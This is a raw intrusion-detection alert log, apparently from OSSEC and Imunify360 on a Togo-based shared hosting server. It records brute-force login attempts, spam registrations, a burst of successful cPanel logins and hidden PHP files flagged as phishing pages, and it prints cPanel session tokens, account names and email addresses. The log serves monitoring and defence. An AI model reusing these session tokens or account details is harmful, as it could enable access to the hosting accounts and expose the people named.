[2026-06-06 23:54:12 +0000] info [whostmgrd] 5.107.231.242 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.10.97.33
country_id: 1643084
description:
[2026-06-06 23:57:36 +0000] info [whostmgrd] 182.10.97.33 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.83.45.109
country_id: 1643084
description:
[2026-06-06 23:58:59 +0000] info [whostmgrd] 203.83.45.109 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.115.50
country_id: 6252001
description:
[2026-06-06 23:59:38 +0000] info [whostmgrd] 82.40.115.50 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.251.197.46
country_id: 1814991
description:
2026-06-07 00:01:05 dovecot_login authenticator failed for H=([101.251.197.46]) [101.251.197.46]:48087: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.232.154
country_id: 1269750
description:
2026-06-07 00:01:31 dovecot_login authenticator failed for H=(customer-187-49-63-41.f1net.com.br) [182.95.232.154]:36390: 535 Incorrect authentication data (set_id=jdelbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.232.154
country_id: 1269750
description:
Jun  7 00:01:29 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.232.154 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:00-01.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Robust User Funds sepoladi.blogspot.hu bn||Email:davidwatlington1985@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.186
country_id: 3175395
description:
Jun  7 00:01:35 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.186 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 41.33.242.227
country_id: 357994
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-02.41.33.242.227||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.13.8
country_id: 3469034
description:
Jun  7 00:05:31 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.13.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 1.190.146.137
country_id: 1814991
description:
2026-06-07 00:05:25 H=([0.0.0.0]) [1.190.146.137]:7196 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.8.80.106
country_id: 6254930
description:
37.8.80.106 - - [07/Jun/2026:00:06:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949094&pdata=https%253A%252F%252Feducplusmedia.tg%252F2024%252F12%252F14%252Factualites-nationales-securite-et-cooperation-le-poste-frontalier-de-tamong-inaugure-dans-la-region-des-savanes-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780790781 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2024/12/14/actualites-nationales-securite-et-cooperation-le-poste-frontalier-de-tamong-inaugure-dans-la-region-des-savanes-au-togo/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.4192.1090 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.8.80.106


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.188.93.169
country_id: 337996
description:
Jun  7 00:05:49 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.188.93.169 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.145
country_id: 732800
description:
Jun  7 00:05:51 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.145 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-06-07 00:05:51 dovecot_login authenticator failed for H=([210.204.28.60]) [196.188.93.169]:2466: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.164.115.86
country_id: 3469034
description:
2026-06-07 00:06:59 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [45.164.115.86]:57924: 535 Incorrect authentication data (set_id=i.sy@ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.164.115.86
country_id: 3469034
description:
Jun  7 00:06:57 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.164.115.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 125.81.130.36
country_id: 1814991
description:
2026-06-07 00:07:25 H=([125.81.130.36]) [125.81.130.36]:51126 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.20.67.98
country_id: 783754
description:
Jun  7 00:11:56 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.20.67.98 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.74
country_id: 2635167
description:
[2026-06-07 00:13:48 +0000] info [cpaneld] 5.230.133.74 NEW aopsacai:qBXG9lFUxMSBMqhV address=5.230.133.74,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 43.251.99.154
country_id: 1643084
description:
[2026-06-07 00:15:20 +0000] info [whostmgrd] 43.251.99.154 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.111.11.117
country_id: 6252001
description:
[2026-06-07 00:17:30 +0000] info [cpaneld] 65.111.11.117 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 31.134.4.251
country_id: 241170
domain: v2.cfpj.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.v2.cfpj.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.25.255.110
country_id: 6251999
description:
[2026-06-07 00:23:13 +0000] info [whostmgrd] 216.25.255.110 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.107.124.41
country_id: 290557
description:
[2026-06-07 00:23:27 +0000] info [whostmgrd] 5.107.124.41 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.227.211.82
country_id: 1269750
description:
Jun  7 00:23:38 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.227.211.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-06-07 00:23:40 dovecot_login authenticator failed for H=([182.95.214.23]) [110.227.211.82]:42024: 535 Incorrect authentication data (set_id=info@soena.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.239.241.104
country_id: 1814991
description:
2026-06-07 00:24:47 dovecot_login authenticator failed for H=([121.239.241.104]) [121.239.241.104]:45809: 535 Incorrect authentication data (set_id=it@togosem.com)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Delight in Your Appropriate-for-the-Season Extra sepoladi.blogspot.de 1R||Email:bryttineecreek0@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:00-25.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.129.23.28
country_id: 1643084
description:
[2026-06-07 00:28:46 +0000] info [whostmgrd] 103.129.23.28 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 62.60.148.90
country_id: 3017382
domain: sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.sia-togo.tg||ServerName:sia-togo.tg||Method:metaWeblog.newPost||BlogID:0||TitleSHA:a9a103b6d0e4edeafb4163dc9c1eff4ecde0c6e9||Title:d12e3137d3d51438||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.97.209.125
country_id: 1814991
description:
2026-06-07 00:31:21 H=([58.216.12.233]) [122.97.209.125]:51947 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.126
country_id: 1880251
description:
47.128.96.126 - - [07/Jun/2026:00:38:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870024&pdata=https%253A%252F%252Fzephyr.tg%252Fsample-page%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780792727 HTTP/2.0" 302 0 zephyr.tg "https://zephyr.tg/sample-page/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.126


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 62.105.203.208
country_id: 2802361
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:62.105.203.208||TA:62.105.203.208||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.94.9.158
country_id: 130758
description:
Jun  7 00:39:05 ns5 pure-ftpd[3275000]: (?@172.94.9.158) [WARNING] Authentication failed for user [speau]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.222.187.122
country_id: 2750405
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:104.222.187.122||TA:104.222.187.122||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.158
country_id: 1880251
description:
47.128.96.158 - - [07/Jun/2026:00:41:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7063698&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fimpact-centre-chretien%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780792906 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/impact-centre-chretien/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.158


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.138
country_id: 6252001
description:
[2026-06-07 00:44:13 +0000] info [cpaneld] 173.211.89.138 NEW naduwpdk:rWirYQDrbK5zebrM address=173.211.89.138,app=cpaneld,creator=naduwpdk,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.230
country_id: 2635167
domain: togofeed.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/qledpnjw/public_html/.517751317370657.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.244
country_id: 6252001
description:
[2026-06-07 00:44:14 +0000] info [cpaneld] 64.44.59.244 NEW eevbufog:lpiIvO7H1hEjJn3o address=64.44.59.244,app=cpaneld,creator=eevbufog,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.175.5.98
country_id: 6252001
domain: test.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/hphhdcxi/public_html/.524755043064084.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.156
country_id: 2635167
domain: ucoangers.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/eevbufog/public_html/.530756253866648.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.143
country_id: 3017382
description:
[2026-06-07 00:44:24 +0000] info [cpaneld] 5.231.64.143 NEW dvhzmira:zleEKvGRVvfnBpdB address=5.231.64.143,app=cpaneld,creator=dvhzmira,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.26
country_id: 2635167
description:
[2026-06-07 00:44:23 +0000] info [cpaneld] 5.230.153.26 NEW aopsacai:KjVLNFCgcCFysMOe address=5.230.153.26,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.190
country_id: 3017382
description:
[2026-06-07 00:44:12 +0000] info [cpaneld] 5.231.255.190 NEW hphhdcxi:PgdnHO5XPyUjQ6iA address=5.231.255.190,app=cpaneld,creator=hphhdcxi,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.232
country_id: 6252001
description:
[2026-06-07 00:44:26 +0000] info [cpaneld] 173.211.89.232 NEW wwayrzpl:BlguyNEO1LgMMxJa address=173.211.89.232,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.229
country_id: 6252001
description:
[2026-06-07 00:44:12 +0000] info [cpaneld] 64.44.62.229 NEW qledpnjw:b1cJlykF7JVJeXFl address=64.44.62.229,app=cpaneld,creator=qledpnjw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:44:35 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:44:37 dovecot_login authenticator failed for H=(WyRXC2gSwa) [141.98.10.24]:56468: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:45:23 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:45:25 dovecot_login authenticator failed for H=(ZudhLM20Q) [141.98.10.24]:55544: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.200.82.128
country_id: 290557
description:
[2026-06-07 00:45:37 +0000] info [whostmgrd] 87.200.82.128 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:46:35 dovecot_login authenticator failed for H=(fDHY23Sy9) [141.98.10.24]:50127: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:46:33 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:47:22 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:47:24 dovecot_login authenticator failed for H=(Vz6n5Pr) [141.98.10.24]:63414: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.185
country_id: 2635167
description:
[2026-06-07 00:48:26 +0000] info [cpaneld] 5.230.153.185 NEW nerohostfreenetm:9HHFptpYQ34kZ2GY address=5.230.153.185,app=cpaneld,creator=nerohostfreenetm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.175.229.201
country_id: 2921044
domain: nerohost.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nerohostfreenetm/public_html/.930220150191512.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.56
country_id: 3017382
description:
[2026-06-07 00:48:36 +0000] info [cpaneld] 5.231.64.56 NEW aneos:jOS9kWc1VvsKIK3d address=5.231.64.56,app=cpaneld,creator=aneos,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:48:35 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:48:37 dovecot_login authenticator failed for H=(c8HsvOlpxt) [141.98.10.24]:59632: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.166
country_id: 6252001
description:
[2026-06-07 00:48:44 +0000] info [cpaneld] 64.44.59.166 NEW fgbegmfv:M8uZwvQtbVSZ5y4t address=64.44.59.166,app=cpaneld,creator=fgbegmfv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.146
country_id: 2635167
description:
[2026-06-07 00:48:28 +0000] info [cpaneld] 5.230.133.146 NEW pkyvzjjc:BMVz8UTTPvWfbRTJ address=5.230.133.146,app=cpaneld,creator=pkyvzjjc,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.135
country_id: 2635167
domain: social-infos.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/pkyvzjjc/public_html/.122917345321055.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.197
country_id: 2635167
description:
[2026-06-07 00:48:42 +0000] info [cpaneld] 5.230.153.197 NEW zxtqbmmj:wr1kc7I1R8XQ40NI address=5.230.153.197,app=cpaneld,creator=zxtqbmmj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.75
country_id: 2635167
description:
[2026-06-07 00:48:38 +0000] info [cpaneld] 5.230.133.75 NEW sahamtg:K8U9Ve9VAFWSZwNb address=5.230.133.75,app=cpaneld,creator=sahamtg,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.151
country_id: 6252001
domain: sncom.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/efberwhk/public_html/.904318995637959.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 45.58.50.47
country_id: 6252001
description:
[2026-06-07 00:48:35 +0000] info [cpaneld] 45.58.50.47 NEW elmkvzcm:qVjdnsCas9m5qrYa address=45.58.50.47,app=cpaneld,creator=elmkvzcm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.217
country_id: 2635167
domain: perfect-labo.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/zxtqbmmj/public_html/.898420369153557.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:49:27 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.112
country_id: 3017382
domain: its.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/fgbegmfv/public_html/.242206389964001.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.175.5.140
country_id: 6252001
domain: lac3.mairie.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/sayfuswa/public_html/.432461185431715.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:49:29 dovecot_login authenticator failed for H=(ojZ670) [141.98.10.24]:53866: 535 Incorrect authentication data (set_id=adt-togo)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Attested Bonus bonotdamvam.blogspot.com HQ||Email:jessingeorge917@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.195
country_id: 6252001
description:
[2026-06-07 00:48:51 +0000] info [cpaneld] 64.44.62.195 NEW marketplacenetma:Sbmaou_Jsw7TMoXe address=64.44.62.195,app=cpaneld,creator=marketplacenetma,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.114
country_id: 2635167
domain: jcdconsult.net
description:
IM360 WAF: Possible phishing page detected||SC:/home/tubnyxbt/public_html/.395079082516808.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.49
country_id: 2635167
description:
[2026-06-07 00:48:51 +0000] info [cpaneld] 5.230.153.49 NEW rqgqpxof:FIWZHACrEf1Vn1HU address=5.230.153.49,app=cpaneld,creator=rqgqpxof,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.78
country_id: 3017382
description:
[2026-06-07 00:48:59 +0000] info [cpaneld] 5.231.255.78 NEW wcnyaruu:N3owBllLDDHjaFIR address=5.231.255.78,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:00-49.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:49:51 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.179
country_id: 2635167
description:
[2026-06-07 00:50:46 +0000] info [cpaneld] 5.230.133.179 NEW doufelg:XJ2dVSwCYvl0OeW0 address=5.230.133.179,app=cpaneld,creator=doufelg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.114
country_id: 2635167
description:
[2026-06-07 00:50:48 +0000] info [cpaneld] 5.230.153.114 NEW qfaclpeg:8aN1q5SOnBTl3CHV address=5.230.153.114,app=cpaneld,creator=qfaclpeg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:49:53 dovecot_login authenticator failed for H=(aogdFs3M) [141.98.10.24]:55542: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.67
country_id: 6252001
description:
[2026-06-07 00:50:37 +0000] info [cpaneld] 107.175.5.67 NEW tqbcalqt:cCgloW9nfjWfCfEi address=107.175.5.67,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.231.224.139
country_id: 1861060
description:
[2026-06-07 00:50:43 +0000] info [whostmgrd] 13.231.224.139 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.78
country_id: 2635167
description:
[2026-06-07 00:50:47 +0000] info [cpaneld] 5.230.133.78 NEW frtwilql:6dr14HxkP1h28YBZ address=5.230.133.78,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.177
country_id: 2635167
description:
[2026-06-07 00:50:40 +0000] info [cpaneld] 5.230.133.177 NEW efberwhk:Ns4dX9g_pcDiA9gh address=5.230.133.177,app=cpaneld,creator=efberwhk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.159
country_id: 3017382
description:
[2026-06-07 00:50:46 +0000] info [cpaneld] 5.231.64.159 NEW wgqhqbem:b0CiIjb4R1pAA9L6 address=5.231.64.159,app=cpaneld,creator=wgqhqbem,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.114
country_id: 2635167
domain: mftogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ttfuehop/public_html/.927366203862021.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.217
country_id: 2635167
description:
[2026-06-07 00:51:23 +0000] info [cpaneld] 5.230.133.217 NEW gemwjxuz:VO2ZCQ8aQZLety9v address=5.230.133.217,app=cpaneld,creator=gemwjxuz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.52
country_id: 2635167
description:
[2026-06-07 00:51:35 +0000] info [cpaneld] 5.230.153.52 NEW newglevfer:NZt_y_XfZ4KKHO0U address=5.230.153.52,app=cpaneld,creator=newglevfer,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.23
country_id: 2635167
domain: lvdt.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/lhqeyybr/public_html/.478801907311029.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.180
country_id: 2635167
description:
[2026-06-07 00:51:29 +0000] info [cpaneld] 5.230.153.180 NEW oviaiart:XPs8LYjBTMf876Yw address=5.230.153.180,app=cpaneld,creator=oviaiart,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.223
country_id: 6252001
domain: matwtogo.org
description:
IM360 WAF: Possible phishing page detected||SC:/home/rqgqpxof/public_html/.016200552792095.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.50
country_id: 3017382
description:
[2026-06-07 00:51:34 +0000] info [cpaneld] 5.231.255.50 NEW nmvhuvgp:4lZdW7_DlYe16RUa address=5.231.255.50,app=cpaneld,creator=nmvhuvgp,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.143
country_id: 3017382
description:
